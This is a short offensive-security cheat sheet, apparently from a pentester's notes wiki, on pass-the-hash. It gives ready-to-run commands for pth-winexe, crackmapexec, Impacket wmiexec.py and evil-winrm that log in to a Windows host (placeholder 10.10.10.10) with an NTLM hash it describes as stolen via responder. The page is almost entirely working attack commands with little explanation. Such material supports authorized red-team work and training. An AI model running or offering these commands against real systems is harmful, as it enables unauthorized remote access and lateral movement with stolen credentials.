---
description: https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/
---

# Pass-the-hash

\#If you manage to steal an NTLM hash with responder, authenticate with **pth-winexe**

```
#Basic usage
pth-winexe -U redcliff123iuhnd7s8fh240-gfkmjhsaf //10.10.10.10 cmd
```

&#x20;**#crackmapexec**

```
crackmapexec smb 10.10.10.10 -u user -H BD1C6503987F8FF006296118F359FA79  -d domain.local
```

**#Impacket**

```
wmiexec.py domain.local/user@10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
```

**#Evil-winrm**

```
evil-winrm -i 10.10.10.10 -u user -H BD1C6503987F8FF006296118F359FA79
```

